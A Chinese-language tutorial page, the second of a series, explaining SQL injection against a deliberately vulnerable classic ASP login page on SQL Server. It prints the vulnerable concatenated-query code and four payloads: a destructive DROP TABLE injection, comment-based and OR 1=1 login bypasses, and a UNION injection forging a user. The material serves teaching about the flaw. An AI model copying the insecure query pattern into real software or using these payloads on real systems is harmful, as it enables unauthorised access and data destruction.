首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Server 注入攻擊深度解析 (2/10):ASP 登入頁實戰環境、查詢構造、經典繞過與聯合注入

     編輯:關於SqlServer

實戰環境:經典 ASP 登入頁

前端表單 (Login.asp)


UserName:
PassWord:

後端處理 (Process_Login.asp)


<%@ LANGUAGE = JScript %>
<%
function Login(cn) {
    var UserName = Request.Form("UserName");
    var PassWord = Request.Form("PassWord");
    var rso = Server.CreateObject("ADODB.Recordset");
    // 核心漏洞:字串拼接
    var sql = "SELECT * FROM Users WHERE UserName = '" + UserName + "' AND PassWord = '" + PassWord + "'";
    rso.Open(sql, cn);
    if (rso.EOF) { Response.Write("Access DENIED"); Response.End; }
    else { Session("UserName") = rso("UserName"); Response.Write("Access GRANTED: " + rso("UserName")); }
}

function Main() {
    var cn = Server.CreateObject("ADODB.Connection");
    cn.ConnectionTimeout = 20;
    cn.Open("LocalServer", "sa", "PassWord"); // sa + 弱密碼!
    if (Request.Form("UserName").length > 0) Login(cn);
    cn.Close();
}
Main();
%>

漏洞核心:字串拼接構造 SQL


"SELECT * FROM Users WHERE UserName = '" + UserName + "' AND PassWord = '" + PassWord + "'"

用戶輸入直接嵌入 SQL 字串,**資料變成代碼一部分**。

經典攻擊 Payload 實測

1. 刪除用戶表 (破壞性)


UserName: '; DROP TABLE Users--
PassWord: (任意)
-- 執行: SELECT * FROM Users WHERE UserName = ''; DROP TABLE Users--' AND PassWord = '...'
-- 結果: Users 表被刪,所有用戶無法登入

2. 已知用戶名繞過登入


UserName: admin'--
PassWord: (任意)
-- SQL: WHERE UserName = 'admin'--' AND PassWord = '...'
-- 註釋掉密碼檢查,直接以 admin 登入

3. 通用繞過 (無需知道用戶名)


UserName: ' OR 1=1--
PassWord: (任意)
-- SQL: WHERE UserName = '' OR 1=1--' AND PassWord = '...'
-- 恆真條件,返回第一筆用戶 (通常是 admin)

4. 偽造任意用戶登入 (UNION 注入)


UserName: ' UNION SELECT 1, 'hacker', 'pass', 1--
PassWord: (任意)
-- SQL: SELECT * FROM Users WHERE UserName = '' UNION SELECT 1, 'hacker', 'pass', 1--' AND PassWord = '...'
-- UNION 結果集欄位數/型別必須與 Users 表一致 (4 欄: INT, VARCHAR, VARCHAR, INT)
-- 程式相信資料庫返回的列,建立 Session("UserName") = 'hacker'

為什麼 UNION 注入能成功?

  • 應用**完全信任**資料庫返回的 `Recordset` 內容。
  • 攻擊者構造的常量列 (`1, 'hacker', 'pass', 1`) 符合目標表結構 (經枚舉或猜測)。
  • 無參數化、無輸入驗證、錯誤回顯開啟 (助於枚舉結構)。

資料庫測試資料


CREATE TABLE Users (ID INT, UserName VARCHAR(255), PassWord VARCHAR(255), Privs INT);
INSERT INTO Users VALUES (0, 'admin', 'r00tr0x!', 0xFFFF), (0, 'guest', 'guest', 0), (0, 'chris', 'passWord', 0xFF), (0, 'fred', 'sesame', 0xFF);

下一步:錯誤回顯驅動的結構枚舉 (第 3 篇)

攻擊者如何在**不知道表結構**時,透過錯誤訊息一步步推導出 `Users(ID, UserName, PassWord, Privs)`?見系列第 3 篇。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved